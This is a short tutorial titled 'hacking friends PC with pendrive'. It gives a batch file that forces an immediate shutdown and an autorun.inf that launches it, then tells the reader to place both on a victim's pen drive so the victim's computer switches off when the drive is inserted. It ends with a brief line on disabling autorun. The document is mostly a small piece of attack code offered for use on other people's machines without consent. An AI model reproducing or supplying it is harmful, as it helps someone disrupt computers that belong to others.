HACKING FRIENDS PC WITH PENDRIVE

Step 1:>>copy this  code into notepad:
@echo off
shutdown -s -t 00
Save as KUCH.bat extension

.
Step 2:
      Now open the notepad and copy this code:
[autorun]
Open=KUCH.bat
Action=Mouse Disable

   Save it as "autorun.inf"
Step 3:
         Then copy the two files in your pen drive or victim's pen drive.
That's all whenever the victim insert his pen drive,the system will be turned off automatically.

 
Check How to Disable This:-

First Stop Autorun in Your Computer And Then Format Pendrive..